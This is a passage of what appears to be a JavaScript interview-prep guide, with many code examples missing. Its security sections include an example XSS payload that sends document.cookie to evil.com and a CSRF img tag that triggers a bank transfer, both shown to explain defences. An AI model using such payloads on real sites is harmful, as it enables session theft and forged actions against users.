styled-componentsuse tagged templates to generate scoped CSS?” — The tag function hashes the static CSS strings into a unique class name, evaluates any function interpolations with the component’s props, and injects the resulting CSS into a<style>tag in the document head. The component receives the unique class name. Static parts are cached; only dynamic interpolations are re-evaluated on render. - “Can tagged templates be used for compile-time optimization?” — Yes. Since the static string parts are known at build time, Babel/SWC plugins can pre-process tagged templates. GraphQL’s
gqltag can be compiled to an AST at build time (no runtime parsing).styled-componentshas a Babel plugin that pre-generates class names. This moves work from runtime to build time. - “What is
String.rawused for in practice?” — File paths on Windows:String.raw`C:\Users\name`(no need to double-escape backslashes). Regular expressions:new RegExp(String.raw`\d+\.\d+`)(cleaner than"\\d+\\.\\d+"). Any context where you want the literal characters without escape interpretation.
\n -> newline); raw strings keep them literal. strings.raw[i] gives the raw form inside a tag.gql tagged template at runtime, but its Babel plugin pre-parses those templates into AST objects at build time. Apps shipping lots of queries measured 30-50ms of faster boot by skipping the runtime parser — one of those “you didn’t know you were paying for it” wins.Follow-up Q&A Chain:- Q: How does
styled-componentsgenerate stable class names across renders? - A: It hashes the static portions of the tagged template into a deterministic class name, then injects the computed CSS once. Dynamic interpolations update CSS variables or swap class names, so the hash stays stable.
- Q: Can a tag function return non-string values?
- A: Absolutely —
gqlreturns an AST object,styledreturns a React component. The return type is whatever the tag decides; only the input shape is fixed. - Q: Why is
String.rawsafer for regex patterns? - A: Regex literals need double backslashes in normal strings (
\\d).String.rawlets you write the single-backslash form, matching how you would write the pattern in documentation or a regex tester.
- MDN: Template literals (Tagged templates)
- styled-components documentation: Tagged Template Literals
- GraphQL docs: Queries and Mutations
31. Optional Chaining & Nullish Coalescing
31. Optional Chaining & Nullish Coalescing
TypeError and incorrect default values in JavaScript. They look simple but their interaction with falsy values is a frequent interview topic.Optional Chaining (?.) — Safe property access:??) — Default only for null/undefined:||) and “nullish” (??)? The classic trap: 0 || default returns default when you want 0. This bug has caused real production incidents (e.g., a price of 9.99 because 0 || 9.99).Red flag answer: “I use || for defaults.” This works until someone passes 0, '', or false as a valid value. Switching from || to ?? is a common refactoring task, and it changes behavior for every falsy value.Follow-up questions:- “Can you use
??and||in the same expression without parentheses?” — No.a ?? b || cis a SyntaxError. The spec intentionally requires parentheses to disambiguate:(a ?? b) || cora ?? (b || c). This prevents bugs from confusing the two operators’ precedence. - “What is the performance of optional chaining in a hot loop?” — Zero overhead in modern engines. V8 compiles
a?.bto the same machine code asa == null ? undefined : a.b. The syntactic sugar is fully optimized away. Use it freely without performance concerns. - “How does optional chaining interact with
deleteand assignment?” —delete user?.profileworks (deletes profile if user exists). Butuser?.profile = valueis a SyntaxError — optional chaining cannot be on the left side of assignment. This is a deliberate design choice: writing to a potentially-nonexistent path is almost always a bug.
?. short-circuits to undefined at the first nullish link; ?? returns the left side unless it is null/undefined.|| with ?? for default-value expressions during a TypeScript migration. They found a real bug where a merchant’s configured fee of 0% was being displayed as the default 2.9% because 0 || 2.9 = 2.9. That one line had been silently wrong for months until strict typing surfaced it.Follow-up Q&A Chain:- Q: Does
?.swallow errors from method calls? - A: No — it only short-circuits on nullish receivers.
obj?.fn()still throws iffnitself throws. It prevents “cannot read property of undefined,” not runtime errors inside the method. - Q: How does
??=differ from??? - A:
a ??= bis the logical nullish assignment operator. It setsa = bonly ifais null or undefined. Useful for lazy default initialization. - Q: Can I use
?.with function imports? - A: Yes —
mod?.maybeFn?.()guards against both missing module and missing function. Useful when feature-detecting optional framework APIs.
- MDN: Optional chaining (?.)
- MDN: Nullish coalescing (??)
- TC39 Proposals: Optional chaining, Nullish coalescing (tc39.es/ecma262)
32. `Set` and `Map` Complexity & Internals
32. `Set` and `Map` Complexity & Internals
Map and Set are the hash-table-based collections JavaScript was missing for years. Before ES6, developers misused plain objects as maps (with all the prototype pollution and key-coercion baggage that comes with it).Time complexity:Map.get/set/has/delete: O(1) average (hash table)Set.add/has/delete: O(1) average- Iteration: O(n) — and importantly, iteration order is insertion order (guaranteed by spec)
| Feature | Map | Object |
|---|---|---|
| Key types | Any (objects, functions, primitives) | Strings and Symbols only |
| Key order | Insertion order (guaranteed) | Mostly insertion, but numeric keys sort first |
| Size | .size property (O(1)) | Object.keys(obj).length (O(n)) |
| Iteration | Direct (for...of, .forEach()) | Object.entries() then iterate |
| Prototype | No prototype pollution risk | Has toString, constructor, etc. on prototype |
| Performance | Faster for frequent add/delete | Faster for static access (V8 inline caches) |
| Serialization | No native JSON support | JSON.stringify() works |
obj[1] and obj['1'] are the same key), and require hasOwnProperty checks for safe iteration.Follow-up questions:- “What happens if you use an object as a key in a plain object vs a Map?” — Plain object: the key is coerced to string via
.toString(), resulting in"[object Object]". All objects share the same key!Map: the actual object reference is used as the key. Two different objects are two different keys. This is why Map exists. - “How would you serialize a Map to JSON and back?” —
JSON.stringify([...map])converts to an array of[key, value]pairs.new Map(JSON.parse(jsonString))restores it. For nested Maps, you need a custom replacer/reviver. Libraries likesuperjsonhandle this automatically. - “Are there performance differences between Map and Object for different use cases?” — For frequent insertions and deletions (like a cache with eviction), Map is 2-5x faster because objects need to manage hidden classes and inline caches. For static lookups on fixed-shape objects, plain objects are faster because V8 can use optimized inline caches. The crossover point is roughly at 100+ dynamic keys.
Object.prototype so that every plain object inherits them. Using a Map instead of a plain object eliminates this attack surface for user-supplied keys.Map keyed by Request objects (not strings) to deduplicate in-flight requests. A plain object would coerce every Request to "[object Request]" — collapsing every pending request into one entry and causing incorrect cache hits. Using Map preserved object identity as the key.Follow-up Q&A Chain:- Q: What is the difference between
Setequality andMapkey equality? - A: Both use the SameValueZero algorithm — like
===, exceptNaNequalsNaN. Two different object references are always distinct keys, even if structurally identical. - Q: Why is iterating a Map faster than iterating an Object?
- A: Map stores entries in a linked list in insertion order. Object iteration must enumerate properties, check descriptors, and follow the prototype chain to decide what to skip.
- Q: How big can a Set get?
- A: Bounded by memory. V8 and SpiderMonkey both use hash tables with incremental resizing, so you can reasonably hold millions of entries — just watch heap usage.
33. BigInt
33. BigInt
BigInt is a numeric primitive that can represent integers of arbitrary precision — there is no upper limit. Regular Number uses IEEE 754 double-precision floats and can only safely represent integers up to 2^53 - 1 (Number.MAX_SAFE_INTEGER = 9,007,199,254,740,991).- Financial calculations — Represent cents as BigInt to avoid floating-point errors.
$100.50=10050ncents. - Database IDs — Twitter snowflake IDs, Discord IDs exceed
Number.MAX_SAFE_INTEGER. Without BigInt,JSON.parsecorrupts them. Solution: receive as string, convert to BigInt. - Cryptography — RSA key operations on 2048-bit numbers.
- Timestamps with microsecond precision —
process.hrtime.bigint()returns nanosecond timestamps as BigInt.
0.1 + 0.2 !== 0.3 and integers beyond 2^53 lose precision. BigInt solves the integer part.Follow-up questions:- “A REST API returns a JSON body with
{"id": 9007199254740993}. What happens when youJSON.parseit?” — The number is silently truncated to9007199254740992becauseJSON.parseuses JavaScript’s Number type, which cannot represent it precisely. The ID is now wrong. Solutions: (1) API returns the ID as a string:"id": "9007199254740993". (2) Use a custom JSON parser that handles large integers (likejson-bigintnpm). (3) UseBigInt(idString)on the client. - “Why can you not use BigInt with
Mathmethods?” —Mathmethods are designed for IEEE 754 doubles. BigInt has no concept ofNaN,Infinity, or fractional parts. Adding BigInt support to every Math method would require new semantics. Instead, perform BigInt arithmetic directly with operators (+,-,*,/,**,%). Division is integer division:7n / 2n === 3n(truncates, does not round). - “What is the performance of BigInt vs Number?” — BigInt operations are 5-100x slower than Number operations because they use arbitrary-precision arithmetic (like Python’s integers) rather than hardware-accelerated 64-bit float operations. For numbers that fit in
Number.MAX_SAFE_INTEGER, always use Number. Use BigInt only when precision requires it.
5. Functional Programming patterns
34. Currying & Partial Application
34. Currying & Partial Application
f(a, b, c) becomes f(a)(b)(c). Partial application is the related concept of fixing some arguments upfront and returning a function that takes the rest.- Configurable middleware:
const authMiddleware = requireRole('admin')whererequireRoleis curried - Event handler factories:
const handleChange = fieldName => event => setState({ [fieldName]: event.target.value }) - Point-free composition:
users.filter(isActive).map(getName).filter(startsWith('A'))where each function is a curried one-arg function
bind is JavaScript’s built-in partial application: fn.bind(null, arg1).Follow-up questions:- “What is the practical difference between currying and
Function.prototype.bind?” —bindpartially applies arguments from the left and returns a new function. It also fixesthis. Currying creates a chain of unary functions.bindis eager (all partial args at once), currying is incremental (one at a time). In practice,bindis more common in OOP code, currying in FP-style code. - “When does currying hurt readability?” — When the curried function’s arguments are not self-documenting:
process(3)(true)(data)— what do 3 and true mean? Compare withprocess(retries=3, verbose=true, data). Currying works best when arguments represent natural layers of configuration:logTo(destination)(level)(message). - “How does lodash/fp differ from regular lodash regarding currying?” —
lodash/fpauto-curries all functions and rearranges arguments to be data-last (the collection/data is the last argument). This enables clean composition:flow(filter(isActive), map(getName), take(10))(users). Regular lodash is data-first, which requires wrapping for composition.
35. Pure Functions & Side Effects
35. Pure Functions & Side Effects
- Testable — No mocking required. Input in, output out. Assert on the return value. A pure function test is one line:
expect(add(2, 3)).toBe(5). - Memoizable — Since same input = same output, you can cache results.
React.memo,useMemo,reselectall rely on purity. - Parallelizable — Pure functions cannot interfere with each other (no shared mutable state), so they can run concurrently.
- Debuggable — You can replay function calls with the same inputs and get the same behavior. Time-travel debugging (Redux DevTools) depends on reducer purity.
- “Is
console.loginside a function a side effect?” — Technically yes — it modifies observable external state (the console output). In practice, logging is considered a benign side effect. However, if your tests assert on console output, or if logging impacts performance (structured logging to a remote service), it matters. Removeconsole.logfrom production code not for purity, but for performance and security. - “How does React’s rendering model depend on pure functions?” — React components should be pure functions of their props and state (same props + state = same JSX output). React may re-render a component multiple times (Strict Mode double-renders, concurrent features). If your component has side effects in the render body (not in
useEffect), you get inconsistent behavior. This is why React Strict Mode exists — it exposes impure render functions. - “What is referential transparency and how does it relate to purity?” — A function call is referentially transparent if you can replace it with its return value without changing program behavior.
add(2, 3)can be replaced with5everywhere.fetchUser(id)cannot — the result depends on external state (the database). Referential transparency is a consequence of purity, and it is what enables memoization and compiler optimizations.
36. Higher Order Functions (HOF)
36. Higher Order Functions (HOF)
- Express middleware:
app.use(cors())—cors()is a HOF that returns a middleware function - React HOC pattern:
export default withAuth(withTheme(MyComponent))— each wrapper takes a component and returns an enhanced component - Redux middleware:
store => next => action => { ... }— triple-nested HOF - Event handling:
element.addEventListener('click', handler)—addEventListeneris a HOF - Debounce/throttle:
debounce(fetchResults, 300)— returns a rate-limited version of the function
map, filter, reduce without being able to explain what makes them higher-order, or not recognizing that setTimeout is a HOF (takes a function argument).Follow-up questions:- “What is the difference between a HOF and a decorator?” — A decorator is a specific type of HOF that wraps a function to extend its behavior without modifying the original.
withLoggingabove is a decorator. JavaScript has a decorator proposal (Stage 3) that adds syntax:@withLogging class MyClass {}. The distinction: all decorators are HOFs, but not all HOFs are decorators (e.g.,maptransforms data, it does not decorate a function). - “Why did React move from HOCs to hooks?” — HOCs (
withAuth(withTheme(withRouter(Component)))) create “wrapper hell” — deep component trees in DevTools, prop name collisions, and difficulty in understanding which HOC provides which prop. Hooks (useAuth(),useTheme()) compose linearly without nesting, have clear data flow, and are easier to type with TypeScript. The underlying concept (function composition) is the same; the ergonomics are better. - “Implement
Array.prototype.mapas a higher-order function without using the built-in method.” —function map(arr, fn) { const result = []; for (let i = 0; i < arr.length; i++) { result.push(fn(arr[i], i, arr)); } return result; }. The key details: pass index and array as second/third arguments (matching the spec), handle sparse arrays (skip empty slots), and return a NEW array (do not mutate the original).
37. Function Composition (`pipe` and `compose`)
37. Function Composition (`pipe` and `compose`)
const result = h(g(f(x))) (which reads inside-out), you use pipe(f, g, h)(x) (which reads left-to-right, like a pipeline).|>):compose (right-to-left) and pipe (left-to-right)? Can you explain why each function in the pipeline must take one argument and return one value (unary in, value out)?Red flag answer: “I don’t use composition because it’s hard to debug.” This is a valid concern but not a reason to avoid it. Modern debuggers can step through composed pipelines. The readability gain for data transformation code is significant.Follow-up questions:- “How do you handle errors in a composed pipeline?” — Several strategies: (1) Each function returns a Result/Either type (
{ ok: value }or{ err: reason }), and subsequent functions check for errors. (2) Wrap the pipeline in try/catch. (3) Use a monadic pipe that short-circuits on error (likefp-ts’spipewithEither). Option 1 is the FP approach; option 2 is the pragmatic approach. - “What happens when a function in the pipeline needs multiple arguments?” — You curry it.
const filtered = pipe(filter(isActive), map(getName))—filter(isActive)is a curried call that returns a unary function. This is why currying and composition go hand-in-hand in FP. - “How does
lodash/fp’sflowcompare to a manualpipe?” —flowis lodash’spipeequivalent (left-to-right). It handles edge cases: passing multiple arguments to the first function, async functions (withflowAsync), and integrates with lodash/fp’s auto-curried functions. For production use,flowis more robust than a hand-rolledpipe.
38. Immutability
38. Immutability
Object.freeze() vs true immutability:Object.freeze(obj)prevents modification at runtime (throws in strict mode, silently fails in sloppy mode)- It is shallow — nested objects are still mutable.
Object.freeze({ a: { b: 1 } }).a.b = 2succeeds. - Deep freeze:
function deepFreeze(obj) { Object.freeze(obj); Object.values(obj).filter(v => typeof v === 'object').forEach(deepFreeze); } Object.freezehas a runtime cost and is usually for development/debugging, not production enforcement.
Object.freeze to make everything immutable.” Freeze is shallow, has runtime cost, and throws in unexpected places. The real immutability discipline is about update patterns (spread, map, filter), not freeze.Follow-up questions:- “What is structural sharing and why does it matter for immutability performance?” — When you spread
{ ...obj, key: newVal }, only the top-level object is new. All unchanged nested objects keep the same reference. This means you are not deep-cloning the entire state on every update — only the changed path gets new references. Libraries like Immutable.js use persistent data structures (tries) that share structure more efficiently for very large collections. - “When is Immer’s proxy-based approach slower than manual spreads?” — Immer creates a Proxy for every object in the tree, which adds overhead per operation. For simple, shallow updates (
{ ...state, count: state.count + 1 }), manual spread is faster. Immer shines for complex, deeply nested updates where manual spreading is verbose and error-prone. The crossover point: if your update touches 3+ levels of nesting, Immer is worth the overhead. - “How do Immutable.js and Immer compare?” — Immutable.js provides custom data structures (
Map,List,Record) with O(log32 n) updates via persistent tries. Immer works with plain JavaScript objects and uses Proxies to produce new plain objects. Immer is simpler (no API to learn, interops with any library), but Immutable.js is faster for large collections with frequent updates. Most teams today choose Immer for simplicity — the performance difference rarely matters in practice.
6. Tricky Code Snippets
39. `[] == ![]` and Type Coercion Deep Dive
39. `[] == ![]` and Type Coercion Deep Dive
[] == ![] is true, and understanding why requires tracing through JavaScript’s Abstract Equality algorithm step by step. This is not trivia — it reveals how type coercion works, which matters every time you use ==.Step-by-step:![]evaluates first.[]is truthy (all objects are truthy), so![]=false- Now we have
[] == false - The
==algorithm: if one side is boolean, convert it to number.false->0 - Now:
[] == 0 - The algorithm: if one side is object and other is number, call
ToPrimitiveon the object.[].valueOf()returns[](not a primitive), so try[].toString()which returns"" - Now:
"" == 0 - String vs number: convert string to number.
Number("")=0 0 == 0->true
==) rules:- Same type? Use strict equality (
===) null == undefined->true(and only these two are equal to each other)- Number vs String -> convert string to number
- Boolean vs anything -> convert boolean to number first
- Object vs primitive -> call
ToPrimitive(valueOf, then toString)
=== should be your default: == applies up to 3 type conversions before comparing. This creates unintuitive results: "" == false (true), " " == 0 (true), "0" == false (true). Use === everywhere, switch to == only for the == null pattern (checks both null and undefined).What interviewers are really testing: Can you walk through the coercion algorithm? Do you understand that the order of conversions matters? This tests your understanding of JavaScript’s type system at a fundamental level.Red flag answer: “It’s just a JavaScript quirk, I always use ===.” Using === is correct practice, but not understanding WHY == behaves this way shows a shallow mental model.Follow-up questions:- “What does
ToPrimitivedo and how can you customize it?” —ToPrimitivetriesvalueOf()first, thentoString(). You can override this withSymbol.toPrimitive:const obj = { [Symbol.toPrimitive](hint) { return hint === 'number' ? 42 : 'hello'; } }. Thehintis'number','string', or'default'depending on context.+objuses number hint,`${obj}`uses string hint,obj ==uses default. - “Is there any case where
==is preferred over===?” — The== nullpattern:if (value == null)checks for bothnullandundefinedin one expression.if (value === null || value === undefined)is equivalent but more verbose. Many style guides (including the one used by jQuery’s codebase) accept this specific use of==. - “What is
Object.is()and when does it differ from===?” —Object.is()has two differences from===: (1)Object.is(NaN, NaN)istrue(vsNaN === NaNisfalse). (2)Object.is(+0, -0)isfalse(vs+0 === -0istrue). React usesObject.isforuseStatecomparison, which means setting state toNaNtwice will NOT trigger a re-render (it sees them as same).
40. `typeof null` and Type Checking
40. `typeof null` and Type Checking
typeof null returns "object". This is a bug from the original JavaScript implementation (1995) that can never be fixed because too much code depends on it. In the original C implementation, values were stored as a type tag + value. Objects had type tag 0. null was represented as the NULL pointer (0x00), and the type check only looked at the tag bits — so null was misidentified as an object.typeof to check if something is an object.” typeof null === 'object' means this fails silently for null values. Every typeof x === 'object' check should include && x !== null.Follow-up questions:- “Why does
typeof function(){}return'function'if functions are objects?” — Functions are indeed objects (they have properties, can have methods). The spec gives them special treatment intypeofbecause distinguishing functions from other objects is extremely useful in practice. Internally, the check is: does the object have a[[Call]]internal method? If yes, return “function”. - “How does TypeScript handle this differently?” — TypeScript’s type system eliminates most runtime type checking needs. Type guards (
if (typeof x === 'string')) narrow the type in TypeScript. For null checks, strict null checking (strictNullChecks) makesnulla separate type that must be explicitly handled. This catches thetypeof null === 'object'class of bugs at compile time. - “What is the
instanceofoperator and when does it fail?” —instanceofchecks the prototype chain:[] instanceof Arrayistrue. It fails across realms (iframes, Node vm modules) because each realm has its ownArrayconstructor. An array from an iframe is NOTinstanceof Arrayin the parent frame. This is whyArray.isArray()exists — it works cross-realm.
41. `var` Scope Leak in Loops
41. `var` Scope Leak in Loops
3, 3, 3Why: var is function-scoped (or global-scoped), NOT block-scoped. There is ONE i variable shared across all three iterations. By the time the setTimeout callbacks execute (after the loop finishes), i is 3.The three fixes and when to use each:let fixes it — the spec detail: For let in a for-loop, the spec creates a new lexical environment for each iteration and copies the current value of the loop variable into it. This is special behavior just for for-loops — it is NOT the same as declaring let i inside the loop body.Real-world version of this bug:let and don’t worry about it.” Knowing the fix is good, but understanding WHY var breaks (function scoping + closure capturing a reference) demonstrates real comprehension.Follow-up questions:- “What if the loop uses
letbut the callback isasync? Does the same fix apply?” — Yes.for (let i = 0; i < 3; i++) { await doSomething(i); }gives each iteration its owni. But withlet+forEach, there is noawaitsupport:arr.forEach(async (item) => { await process(item); })fires ALL iterations concurrently becauseforEachdoes not await the callback. Usefor...offor sequential async iteration. - “Is there a performance difference between
letin a loop andvarwith an IIFE?” — Negligible in modern engines. V8 optimizesletloop bindings. The IIFE approach has the overhead of creating a function per iteration and calling it, which is measurably slower for very tight loops (millions of iterations). In practice, neither matters — useletfor clarity.
42. `NaN` Behavior
42. `NaN` Behavior
NaN (Not a Number) is the only value in JavaScript that is not equal to itself. This is per the IEEE 754 floating-point spec, not a JavaScript-specific bug.isNaN() and Number.isNaN()? Can you explain why NaN !== NaN?Red flag answer: Using the global isNaN() function, which coerces its argument to a number first, giving false positives for non-numeric strings.Follow-up questions:- “How does NaN interact with array methods like
indexOfandincludes?” —[NaN].indexOf(NaN)returns-1(uses===internally, NaN !== NaN).[NaN].includes(NaN)returnstrue(usesSameValueZeroalgorithm, which treats NaN as equal to NaN). This is a deliberate spec difference. Always useincludeswhen checking for NaN in arrays. - “How do you safely handle potential NaN in financial calculations?” — Validate inputs with
Number.isFinite()(rejects NaN, Infinity, and -Infinity). Use early returns or throw on invalid input rather than letting NaN propagate. For display, usevalue || 0orNumber.isNaN(value) ? 0 : value. In critical financial code, consider using integer cents or BigInt to avoid floating-point issues entirely.
43. Object Key Coercion
43. Object Key Coercion
456Why: Object property keys must be strings or Symbols. When you use an object as a key, JavaScript calls .toString() on it, which returns "[object Object]" for ALL plain objects. So a[b] and a[c] both write to the key "[object Object]" — the second write overwrites the first.- “What other values are coerced when used as object keys?” — Numbers are converted to strings:
obj[1]andobj['1']are the same key.nullbecomes'null',undefinedbecomes'undefined',truebecomes'true'. Arrays usetoString():obj[[1,2]]becomesobj['1,2']. This is why Map with its strict key identity is preferred for non-string keys. - “How does
Symbol.toStringTagaffect this?” —Symbol.toStringTagchanges the output ofObject.prototype.toString.call(), which affects debugging output. But it does NOT change what.toString()returns when called directly for key coercion. To fix the key coercion issue, override.toString()directly on the object or its prototype.
44. `0.1 + 0.2 === 0.3` and Floating Point
44. `0.1 + 0.2 === 0.3` and Floating Point
0.1 + 0.2 === 0.3 is false. The result is 0.30000000000000004.Why: JavaScript uses IEEE 754 double-precision floating-point numbers (64-bit). Many decimal fractions (like 0.1 and 0.2) cannot be represented exactly in binary — just like 1/3 cannot be represented exactly in decimal (0.333…). The tiny representation errors accumulate during arithmetic..toFixed(2) for money.” toFixed has its own rounding issues ((1.005).toFixed(2) returns “1.00” in some engines, not “1.01”), and it returns a string. For financial code, use integer cents or a decimal library.Follow-up questions:- “Is this a JavaScript-specific problem?” — No. Every language using IEEE 754 floats has this issue: Python, Java, C, Go. Python has a
Decimalmodule, Java hasBigDecimal. The issue is inherent to binary floating-point representation, not to any specific language. - “When is Number.EPSILON not sufficient?” —
Number.EPSILON(~2.2e-16) is the smallest difference between two representable numbers near 1.0. For numbers much larger or smaller than 1.0, you need a relative epsilon:Math.abs(a - b) <= Math.max(Math.abs(a), Math.abs(b)) * Number.EPSILON. For financial calculations, do not use epsilon at all — use integer arithmetic. - “Why does
0.1 + 0.2 - 0.3not equal zero?” — The accumulated rounding errors in0.1 + 0.2do not cancel out when you subtract0.3. The result is approximately5.55e-17. Different groupings of the same operations can produce different results:(0.1 + 0.2) + 0.3vs0.1 + (0.2 + 0.3)can differ. This is why floating-point arithmetic is not associative.
45. Array Holes and Sparse Arrays
45. Array Holes and Sparse Arrays
[empty x 3] (not [1, 1, 1])Why: new Array(3) creates a sparse array with 3 empty “holes” — not 3 slots with undefined. Array methods like map, filter, forEach, every, some skip holes entirely. They never call the callback for empty slots.undefined? Do you know which array methods skip holes?Red flag answer: “It returns [undefined, undefined, undefined].” Holes and undefined are different — and knowing this prevents subtle bugs with sparse arrays.Follow-up questions:- “Which array methods skip holes and which don’t?” —
map,filter,forEach,every,some,find,findIndex,reduceall skip holes.for...ofiterates holes asundefined.Array.fromconverts holes toundefined.fillfills holes. Spread ([...sparse]) converts holes toundefined. The inconsistency is a spec decision from ES5 that cannot be changed. - “How do sparse arrays affect performance?” — V8 uses different internal representations for dense vs sparse arrays. Dense arrays use a contiguous C-style array (fast). Sparse arrays (or arrays with holes) use a dictionary/hash table (slower — similar to object property lookup). A single
delete arr[i]can transition an entire array from fast mode to slow mode. - “What is
Array.from()doing differently fromnew Array()that makes it dense?” —Array.from({ length: 3 })iterates from index 0 to length-1, calling the mapping function (or just producingundefined) for each index. It creates a dense array where each slot exists.new Array(3)just sets thelengthproperty to 3 without creating any slots — it is a “pre-sized” empty container.
7. Performance & Security
46. Memory Leaks (Detection & Prevention)
46. Memory Leaks (Detection & Prevention)
-
Global variables —
window.data = hugeArrayor forgettinglet/constin sloppy mode. Globals are GC roots and live forever. - Event listeners not removed — In SPAs, adding listeners on mount without removing on unmount. Each navigation adds more listeners. After 50 navigations, 50 copies of the same listener exist.
-
Timers not cleared —
setIntervalcallbacks keep their closures alive. If the callback closes over a component’s state or large data, that data is never freed. - Closures retaining large objects — A closure that only uses one property of a large object still retains the entire object (see Question 3).
- Detached DOM nodes — Removing a DOM element but keeping a JS reference. The node and all its children, event listeners, and associated data stay in memory.
- Performance tab -> Record -> perform the suspected leaky action -> stop. Look at “JS Heap” line — does it steadily increase?
- Memory tab -> take Heap Snapshot (baseline) -> perform action -> Force GC (trash can icon) -> take another snapshot
- Select “Objects allocated between Snapshot 1 and 2” to see what was created
- Sort by “Retained Size” — the largest entries are suspects
- Check “Retainers” panel to see the reference chain keeping objects alive
- “Your Node.js API server’s RSS grows by 100MB/hour. How do you find the leak?” — (1) Add
process.memoryUsage()logging to track heap growth over time. (2) Enable--inspectand connect Chrome DevTools remotely. (3) Take heap snapshots 30 minutes apart, compare to find growing object types. (4) Common Node.js-specific leaks: growingMap/Setcaches without eviction (fix with LRU), unclosed database connections/streams, and event emitter listeners accumulating on long-lived objects. Tools:clinic.js doctorfor automated analysis,heapdumpnpm for programmatic snapshots. - “How do React hooks help prevent memory leaks compared to class components?” —
useEffectreturns a cleanup function that runs on unmount or before the next effect run. This co-locates setup and teardown, making it harder to forget cleanup. In class components,componentDidMount(setup) andcomponentWillUnmount(teardown) are separate methods, and developers often forgot to implement unmount cleanup. - “What is the
WeakRef+FinalizationRegistrypattern for cache management?” — UseWeakRefto hold cache values without preventing GC. When the original object is collected,FinalizationRegistryruns a callback where you clean up the cache entry. This gives you a self-cleaning cache, but GC timing is non-deterministic, so you cannot rely on prompt cleanup.
47. XSS (Cross-Site Scripting)
47. XSS (Cross-Site Scripting)
- Reflected XSS — The malicious script comes from the current HTTP request (URL param, form input). The server includes the unescaped input in the response. Example:
https://site.com/search?q=<script>document.location='https://evil.com?c='+document.cookie</script> - Stored XSS — The script is stored in the server’s database and served to every user who views the affected page. Example: a forum post containing
<img onerror="stealCookies()" src="x">. More dangerous because it affects all visitors. - DOM-based XSS — The vulnerability is entirely client-side. JavaScript reads untrusted data (URL fragment,
postMessage) and writes it to the DOM unsafely. The server is never involved. Example:document.innerHTML = location.hash
- Output encoding/escaping — Encode user data based on context: HTML body (encode
<,>,&,",'), HTML attributes, JavaScript strings, URLs. Frameworks like React auto-escape JSX expressions ({userInput}is safe). ButdangerouslySetInnerHTMLbypasses this. - Content Security Policy (CSP) — HTTP header that restricts which scripts can execute:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com. Blocks inline scripts andeval(). This is your strongest defense. - Input sanitization — Use DOMPurify for any HTML that must be rendered:
DOMPurify.sanitize(userHTML). Never write your own HTML sanitizer. - HttpOnly cookies — Even if XSS occurs, the attacker cannot steal session tokens because
document.cookiedoes not include HttpOnly cookies. - Trusted Types API — Browser feature that prevents DOM XSS sinks (
innerHTML,eval) from accepting raw strings. Requires creating “trusted” strings through a policy function.
dangerouslySetInnerHTML, href, src, style, and server-rendered HTML are still vulnerable.Follow-up questions:- “How does CSP work and what is
nonce-based CSP?” — CSP is an HTTP header telling the browser which sources of content are trusted.nonce-based CSP adds a unique random token to each response:script-src 'nonce-abc123'. Only<script nonce="abc123">tags execute. Injected scripts without the nonce are blocked. The nonce changes per request, so attackers cannot predict it. - “What is the difference between sanitization and escaping?” — Escaping converts dangerous characters to safe representations (
<to<) — the data is displayed as text, not executed. Sanitization parses HTML and removes dangerous elements/attributes while keeping safe ones (<b>allowed,<script>removed). Use escaping for plain text, sanitization when you need to render user-provided HTML. - “How do you prevent DOM-based XSS in a single-page application?” — (1) Never use
innerHTML,outerHTML, ordocument.writewith untrusted data — usetextContentinstead. (2) Validate and sanitize URL parameters before using them in DOM operations. (3) Use CSP to blockevaland inline scripts. (4) Use Trusted Types to enforce that only sanitized strings reach DOM sinks.
48. CSRF (Cross-Site Request Forgery)
48. CSRF (Cross-Site Request Forgery)
- User is logged into
bank.com(session cookie set) - User visits
evil.com evil.comhas<img src="https://bank.com/transfer?to=attacker&amount=10000">- Browser makes GET request to bank.com with the user’s session cookie
- Bank processes the transfer because the session is valid
-
SameSite Cookie Attribute — The modern primary defense:
SameSite=Strict— Cookie is NEVER sent on cross-site requests. Strongest protection but breaks legitimate cross-site links.SameSite=Lax(default in modern browsers) — Cookie sent on top-level GET navigation (clicking a link) but NOT on POST, images, iframes, or AJAX from other sites. Good balance.SameSite=None; Secure— Cookie always sent cross-site (old behavior). Required for legitimate cross-site use cases (embedding, SSO).
- CSRF Tokens — Server generates a random token per session, embeds it in forms as a hidden field, and validates it on submission. The attacker cannot read the token (blocked by same-origin policy).
- Double Submit Cookie — Send the CSRF token as both a cookie and a request header/body. The attacker can trigger requests with cookies but cannot read or set custom headers cross-origin.
-
Check
Origin/Refererheaders — Verify the request comes from your own domain. TheOriginheader cannot be forged by JavaScript.
SameSite=Lax is now the default and significantly reduces CSRF risk? Senior candidates should explain the double-submit cookie pattern and why SameSite alone may not be sufficient for all cases.Red flag answer: “CSRF is prevented by checking if the user is logged in.” Authentication is the prerequisite for CSRF, not the defense. The whole point is that the user IS logged in and the attacker exploits that.Follow-up questions:- “Does
SameSite=Laxfully prevent CSRF?” — It prevents most attacks but not all. Lax allows cookies on top-level GET navigations, so GET-based state changes (which violate HTTP semantics but exist in legacy apps) are still vulnerable. Also, within a 2-minute window after a cookie is set, some browsers allow it to be sent cross-site on POST for compatibility. Always use CSRF tokens for sensitive state-changing operations in addition to SameSite. - “How does CSRF protection work for single-page applications making API calls?” — SPAs typically use token-based auth (JWT in Authorization header) rather than cookies. Since custom headers cannot be set cross-origin (blocked by CORS preflight), CSRF is inherently prevented. If you do use cookies for auth, add a custom header (like
X-CSRF-Token) that the server validates — the preflight requirement prevents cross-origin requests from setting it. - “What is the relationship between CORS and CSRF?” — CORS prevents the attacker from READING the response of a cross-origin request. CSRF exploits the fact that the request is SENT (with cookies) regardless of CORS. The server processes the request even if the browser blocks the response from reaching the attacker. CORS alone does NOT prevent CSRF — the damage is done by the request itself (e.g., a fund transfer).
49. WeakRef, FinalizationRegistry & Secure Data Patterns
49. WeakRef, FinalizationRegistry & Secure Data Patterns
WeakRef (ES2021) provides a weak reference to an object that does not prevent garbage collection. FinalizationRegistry lets you register a callback that runs after an object is garbage collected. Together with WeakMap, these form JavaScript’s toolkit for memory-sensitive and security-conscious data storage.WeakMap’s use case (where the key must be kept private). WeakRef is for observing object lifetimes without preventing collection.Follow-up questions:- “Why should you not rely on
FinalizationRegistryfor critical cleanup?” — GC timing is non-deterministic. The callback might run immediately, or after minutes, or never (if the process exits first). Use it for optimization (cache cleanup) but not for correctness-critical operations (releasing locks, closing connections). For those, use explicit cleanup methods ortry/finally. - “How do private class fields (
